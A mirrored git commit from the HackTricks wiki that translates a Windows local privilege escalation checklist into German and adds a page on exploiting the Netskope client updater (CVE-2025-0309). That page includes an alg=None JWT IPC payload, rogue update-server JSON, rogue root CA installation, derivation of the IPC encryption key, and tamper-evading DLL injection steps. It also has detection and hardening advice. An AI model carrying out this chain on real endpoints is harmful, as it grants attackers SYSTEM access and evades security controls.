mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/checklist-windows-privilege-escalatio
This commit is contained in:
parent
6ddeb728dd
commit
b2c8a629e3
@ -236,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
|
@ -1,114 +1,115 @@
|
||||
# Checkliste - Lokale Windows Privilegieneskalation
|
||||
# Checkliste - Local Windows Privilege Escalation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Bestes Tool zur Suche nach Windows lokalen Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Bestes Tool, um Windows local privilege escalation vectors zu finden:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Systeminfo](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] [**Systeminformationen**](windows-local-privilege-escalation/index.html#system-info) abrufen
|
||||
- [ ] Nach **Kernel** [**Exploits mit Skripten**](windows-local-privilege-escalation/index.html#version-exploits) suchen
|
||||
- [ ] **Google verwenden, um nach** Kernel **Exploits** zu suchen
|
||||
- [ ] **searchsploit verwenden, um nach** Kernel **Exploits** zu suchen
|
||||
- [ ] Interessante Informationen in [**Umgebungsvariablen**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Passwörter im [**PowerShell-Verlauf**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Interessante Informationen in [**Internet-Einstellungen**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Laufwerke**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS-Exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] Beschaffe [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Suche nach **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Verwende Google, um nach kernel exploits zu suchen
|
||||
- [ ] Verwende searchsploit, um nach kernel exploits zu suchen
|
||||
- [ ] Interessante Infos in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Passwörter in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Interessante Infos in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Protokollierung/AV-Enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) und [**WEF**](windows-local-privilege-escalation/index.html#wef) Einstellungen überprüfen
|
||||
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) überprüfen
|
||||
- [ ] Überprüfen, ob [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) aktiv ist
|
||||
- [ ] [**LSA-Schutz**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] Prüfe [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)und [**WEF** ](windows-local-privilege-escalation/index.html#wef)-Einstellungen
|
||||
- [ ] Prüfe [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Prüfe, ob [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)aktiv ist
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Zwischengespeicherte Anmeldeinformationen**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Überprüfen, ob ein [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist
|
||||
- [ ] [**AppLocker-Richtlinie**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Prüfe, ob irgendeine [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Benutzerprivilegien**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] [**Aktuelle** Benutzer **privilegien**](windows-local-privilege-escalation/index.html#users-and-groups) überprüfen
|
||||
- [ ] Sind Sie [**Mitglied einer privilegierten Gruppe**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Überprüfen, ob Sie [eines dieser Tokens aktiviert haben](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Benutzersitzungen**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Überprüfen[ **Benutzerverzeichnisse**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?)
|
||||
- [ ] [**Passwortrichtlinie**](windows-local-privilege-escalation/index.html#password-policy) überprüfen
|
||||
- [ ] Was ist [**in der Zwischenablage**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Prüfe die **aktuellen** Benutzer**privilegien**(windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Bist du [**Mitglied einer privilegierten Gruppe**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Prüfe, ob du eines dieser Tokens aktiviert hast: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Prüfe [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?)
|
||||
- [ ] Prüfe die [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Was ist [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Netzwerk](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] **Aktuelle** [**Netzwerkinformationen**](windows-local-privilege-escalation/index.html#network) überprüfen
|
||||
- [ ] **Versteckte lokale Dienste** überprüfen, die auf das Internet beschränkt sind
|
||||
- [ ] Prüfe die **aktuellen** [**Network** **information**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Prüfe **versteckte lokale Dienste**, die nach außen beschränkt sind
|
||||
|
||||
### [Ausgeführte Prozesse](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Prozesse Binärdateien [**Datei- und Ordnersicherheitsberechtigungen**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Speicherpasswort-Mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Unsichere GUI-Apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Anmeldeinformationen mit **interessanten Prozessen** über `ProcDump.exe` stehlen? (firefox, chrome, usw...)
|
||||
- [ ] Zugriffsrechte auf Prozess-Binaries: [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Credentials stehlen mit **interessanten Prozessen** via `ProcDump.exe` ? (firefox, chrome, usw.)
|
||||
|
||||
### [Dienste](windows-local-privilege-escalation/index.html#services)
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] [Können Sie **irgendeinen Dienst** ändern?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Können Sie **die Binärdatei** ändern, die von einem **Dienst** **ausgeführt** wird?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Können Sie **die Registrierung** eines **Dienstes** ändern?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Können Sie von einem **nicht zitierten Dienst** Binärdateipfad profitieren?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] Kannst du einen Dienst **modifizieren**? (Can you **modify any service**?)
|
||||
- [ ] Kannst du die **binary**, die von einem Dienst **ausgeführt** wird, **ändern**? (Can you **modify** the **binary** that is **executed** by any **service**?)
|
||||
- [ ] Kannst du die **Registry** eines Dienstes **ändern**? (Can you **modify** the **registry** of any **service**?)
|
||||
- [ ] Kannst du von einem **unquoted service** binary **path** profitieren? (Can you take advantage of any **unquoted service** binary **path**?)
|
||||
|
||||
### [**Anwendungen**](windows-local-privilege-escalation/index.html#applications)
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Schreib** [**Berechtigungen für installierte Anwendungen**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup-Anwendungen**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Verwundbare** [**Treiber**](windows-local-privilege-escalation/index.html#drivers)
|
||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL-Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] Können Sie **in einen beliebigen Ordner im PATH schreiben**?
|
||||
- [ ] Gibt es eine bekannte Dienstbinärdatei, die **versucht, eine nicht existierende DLL zu laden**?
|
||||
- [ ] Können Sie **in einen beliebigen** Binärdateiordner **schreiben**?
|
||||
- [ ] Kannst du in irgendeinen Ordner innerhalb von PATH **schreiben**?
|
||||
- [ ] Gibt es einen bekannten Service-Binary, der versucht, eine nicht-existente DLL zu laden?
|
||||
- [ ] Kannst du in einen **Binaries-Ordner** **schreiben**?
|
||||
|
||||
### [Netzwerk](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Das Netzwerk auflisten (Freigaben, Schnittstellen, Routen, Nachbarn, ...)
|
||||
- [ ] Besonders auf Netzwerkdienste achten, die auf localhost (127.0.0.1) hören
|
||||
- [ ] Netzwerk enumerieren (Shares, Interfaces, Routes, Neighbours, ...)
|
||||
- [ ] Achte besonders auf Netzwerkdienste, die auf localhost (127.0.0.1) lauschen
|
||||
|
||||
### [Windows-Anmeldeinformationen](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) Anmeldeinformationen
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) Anmeldeinformationen, die Sie verwenden könnten?
|
||||
- [ ] Interessante [**DPAPI-Anmeldeinformationen**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Passwörter von gespeicherten [**WLAN-Netzwerken**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Interessante Informationen in [**gespeicherten RDP-Verbindungen**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Passwörter in [**kürzlich ausgeführten Befehlen**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] [**Remote Desktop Credential Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) Passwörter?
|
||||
- [ ] [**AppCmd.exe** existiert](windows-local-privilege-escalation/index.html#appcmd-exe)? Anmeldeinformationen?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL-Seitenladung?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) Credentials, die du verwenden könntest?
|
||||
- [ ] Interessante [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Passwörter von gespeicherten [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Interessante Infos in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Passwörter in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) Passwörter?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Dateien und Registrierung (Anmeldeinformationen)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Anmeldeinformationen**](windows-local-privilege-escalation/index.html#putty-creds) **und** [**SSH-Hostschlüssel**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH-Schlüssel in der Registrierung**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Passwörter in [**unbeaufsichtigten Dateien**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Passwörter in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Irgendein [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) Backup?
|
||||
- [ ] [**Cloud-Anmeldeinformationen**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) Datei?
|
||||
- [ ] [**Zwischengespeichertes GPP-Passwort**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Passwort in [**IIS-Webkonfigurationsdatei**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Interessante Informationen in [**Webprotokollen**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Möchten Sie [**den Benutzer nach Anmeldeinformationen fragen**](windows-local-privilege-escalation/index.html#ask-for-credentials)?
|
||||
- [ ] Interessante [**Dateien im Papierkorb**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Andere [**Registrierungen mit Anmeldeinformationen**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] In [**Browserdaten**](windows-local-privilege-escalation/index.html#browsers-history) (Datenbanken, Verlauf, Lesezeichen, ...)?
|
||||
- [ ] [**Allgemeine Passwortsuche**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in Dateien und Registrierung
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) zur automatischen Passwortsuche
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Passwort in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Interessante Infos in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Willst du den Benutzer nach [**credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) fragen?
|
||||
- [ ] Interessante [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Andere [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] In [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in Dateien und Registry
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) zum automatischen Suchen nach Passwörtern
|
||||
|
||||
### [Leckende Handler](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] Haben Sie Zugriff auf einen Handler eines Prozesses, der von einem Administrator ausgeführt wird?
|
||||
- [ ] Hast du Zugriff auf irgendeinen Handler eines Prozesses, der von einem Administrator ausgeführt wird?
|
||||
|
||||
### [Pipe-Client-Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Überprüfen, ob Sie es ausnutzen können
|
||||
- [ ] Prüfe, ob du es ausnutzen kannst
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,123 @@
|
||||
# Missbrauch von Enterprise Auto‑Updaters und privilegierter IPC (z. B. Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite verallgemeinert eine Klasse von Windows Local Privilege Escalation‑Ketten, die in Enterprise‑Endpoint‑Agenten und Updatern vorkommen und eine niedrigschwellige IPC‑Schnittstelle sowie einen privilegierten Update‑Flow bereitstellen. Ein repräsentatives Beispiel ist Netskope Client für Windows < R129 (CVE-2025-0309), bei dem ein niedrig privilegierter Benutzer eine Enrollment auf einen Angreifer‑kontrollierten Server erzwingen und anschließend ein bösartiges MSI liefern kann, das vom SYSTEM‑Dienst installiert wird.
|
||||
|
||||
Kernideen, die sich gegen ähnliche Produkte wiederverwenden lassen:
|
||||
- Missbrauche die localhost‑IPC eines privilegierten Dienstes, um eine erneute Enrollment oder Neukonfiguration auf einen Angreifer‑Server zu erzwingen.
|
||||
- Implementiere die Update‑Endpoints des Vendors, liefere ein rogue Trusted Root CA und weise den Updater auf ein bösartiges, „signed“ Paket.
|
||||
- Umgehe schwache Signer‑Checks (CN allow‑lists), optionale Digest‑Flags und lax konfigurierte MSI‑Eigenschaften.
|
||||
- Wenn IPC „encrypted“ ist, leite Key/IV aus weltweit lesbaren Maschinen‑Identifikatoren ab, die in der Registry gespeichert sind.
|
||||
- Wenn der Dienst Anrufer nach Image‑Pfad/Prozessname einschränkt, injiziere in einen allow‑listed Prozess oder spawn einen Prozess suspended und bootstrappe deine DLL via eines minimalen thread‑context patches.
|
||||
|
||||
---
|
||||
## 1) Erzwingen der Enrollment zu einem Angreifer‑Server über localhost‑IPC
|
||||
|
||||
Viele Agenten liefern einen User‑Mode UI‑Prozess, der über localhost TCP mittels JSON mit einem SYSTEM‑Dienst kommuniziert.
|
||||
|
||||
Beobachtet in Netskope:
|
||||
- UI: stAgentUI (niedrige Integrität) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Exploit‑Ablauf:
|
||||
1) Erzeuge ein JWT Enrollment‑Token, dessen Claims den Backend‑Host steuern (z. B. AddonUrl). Verwende alg=None, sodass keine Signatur erforderlich ist.
|
||||
2) Sende die IPC‑Nachricht, die den Provisioning‑Befehl mit deinem JWT und dem Tenant‑Namen auslöst:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
3) Der Dienst beginnt, deinen rogue server wegen enrollment/config anzusprechen, z. B.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Hinweise:
|
||||
- Wenn die Caller‑Verifizierung pfad-/namenbasiert ist, lasse die Anfrage von einem auf der Allow‑List stehenden Vendor‑Binary ausgehen (siehe §4).
|
||||
|
||||
---
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Sobald der Client mit deinem Server kommuniziert, implementiere die erwarteten Endpunkte und leite ihn zu einem attacker MSI. Typische Abfolge:
|
||||
|
||||
1) /v2/config/org/clientconfig → Gib eine JSON‑Konfiguration zurück mit einem sehr kurzen Updater‑Intervall, z. B.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Return a PEM CA certificate. Der Dienst installiert es in den Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
|
||||
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: der Dienst prüft möglicherweise nur, ob das Subject CN gleich “netSkope Inc” oder “Netskope, Inc.” ist. Deine rogue CA kann ein Leaf mit diesem CN ausstellen und das MSI signieren.
|
||||
- CERT_DIGEST property: füge eine harmlose MSI‑Eigenschaft mit dem Namen CERT_DIGEST ein. Wird bei der Installation nicht durchgesetzt.
|
||||
- Optional digest enforcement: ein Config‑Flag (z. B. check_msi_digest=false) deaktiviert zusätzliche kryptografische Validierung.
|
||||
|
||||
Result: Der SYSTEM‑Dienst installiert dein MSI von
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
und führt beliebigen Code als NT AUTHORITY\SYSTEM aus.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
Ab R127 verpackte Netskope IPC‑JSON in ein encryptData‑Feld, das wie Base64 aussieht. Reverse‑Engineering zeigte AES mit Key/IV, die aus registry‑Werten abgeleitet werden, die von jedem Benutzer lesbar sind:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Angreifer können die Verschlüsselung reproduzieren und gültige verschlüsselte Befehle von einem Standard‑Benutzer senden. Genereller Tipp: wenn ein Agent plötzlich seine IPC „verschlüsselt“, suche nach device IDs, product GUIDs, install IDs unter HKLM als Material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Einige Dienste versuchen, den Peer zu authentifizieren, indem sie die PID der TCP‑Verbindung auflösen und den Image‑Pfad/-Namen mit allow‑gelisteten Vendor‑Binaries unter Program Files vergleichen (z. B. stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Zwei praktische Umgehungen:
|
||||
- DLL‑Injection in einen allow‑gelisteten Prozess (z. B. nsdiag.exe) und Proxying der IPC von innen heraus.
|
||||
- Einen allow‑gelisteten Binary suspended starten und dein Proxy‑DLL bootstrappen ohne CreateRemoteThread (siehe §5), um driver‑durchgesetzte Tamper‑Regeln zu erfüllen.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Produkte liefern oft einen minifilter/OB callbacks Driver (z. B. Stadrv), der gefährliche Rechte von Handles zu geschützten Prozessen entfernt:
|
||||
- Process: entfernt PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: beschränkt auf THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Ein zuverlässiger User‑Mode Loader, der diese Einschränkungen respektiert:
|
||||
1) CreateProcess eines Vendor‑Binaries mit CREATE_SUSPENDED.
|
||||
2) Handle erhalten, die noch erlaubt sind: PROCESS_VM_WRITE | PROCESS_VM_OPERATION am Prozess und ein Thread‑Handle mit THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (oder nur THREAD_RESUME, wenn du Code bei einem bekannten RIP patchst).
|
||||
3) ntdll!NtContinue (oder eine andere frühe, garantiert gemappte Thunk) mit einem winzigen Stub überschreiben, der LoadLibraryW auf deinem DLL‑Pfad aufruft und dann zurückspringt.
|
||||
4) ResumeThread, um deinen Stub im Prozess auszulösen und deine DLL zu laden.
|
||||
|
||||
Weil du PROCESS_CREATE_THREAD oder PROCESS_SUSPEND_RESUME bei einem bereits geschützten Prozess nie benutzt hast (du hast den Prozess selbst erstellt), ist die Policy des Drivers erfüllt.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatisiert eine rogue CA, malicious MSI signing und stellt die benötigten Endpunkte bereit: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope ist ein custom IPC‑Client, der beliebige (optional AES‑verschlüsselte) IPC‑Nachrichten erstellt und die suspended‑process Injection beinhaltet, damit sie von einem allow‑gelisteten Binary ausgeht.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Überwache Hinzufügungen zum Local Machine Trusted Root. Sysmon + registry‑mod Eventing (siehe SpecterOps Guidance) funktioniert gut.
|
||||
- Markiere MSI‑Ausführungen, die vom Agent‑Service aus Pfaden wie C:\ProgramData\<vendor>\<agent>\data\*.msi initiiert werden.
|
||||
- Prüfe Agent‑Logs auf unerwartete Enrollment Hosts/Tenants, z. B.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – suche nach addonUrl / tenant‑Anomalien und provisioning msg 148.
|
||||
- Alarmiere bei localhost IPC‑Clients, die nicht die erwarteten signed Binaries sind oder aus ungewöhnlichen Child‑Process‑Trees stammen.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Binde Enrollment/Update‑Hosts an eine strikte Allow‑List; lehne untrusted Domains in clientcode ab.
|
||||
- Authentifiziere IPC‑Peers mit OS‑Primitiven (ALPC security, named‑pipe SIDs) statt mit Image‑Pfad/-Namen‑Checks.
|
||||
- Halte secret Material aus world‑readable HKLM; falls IPC verschlüsselt werden muss, leite Keys aus geschützten Secrets ab oder verhandle über authentifizierte Kanäle.
|
||||
- Behandle den Updater als Supply‑Chain‑Angriffsfläche: erfordere eine vollständige Kette zu einer trusted CA, die du kontrollierst, verifiziere Paket‑Signaturen gegen gepinnte Keys und fail closed, wenn Validierung in der Config deaktiviert ist.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user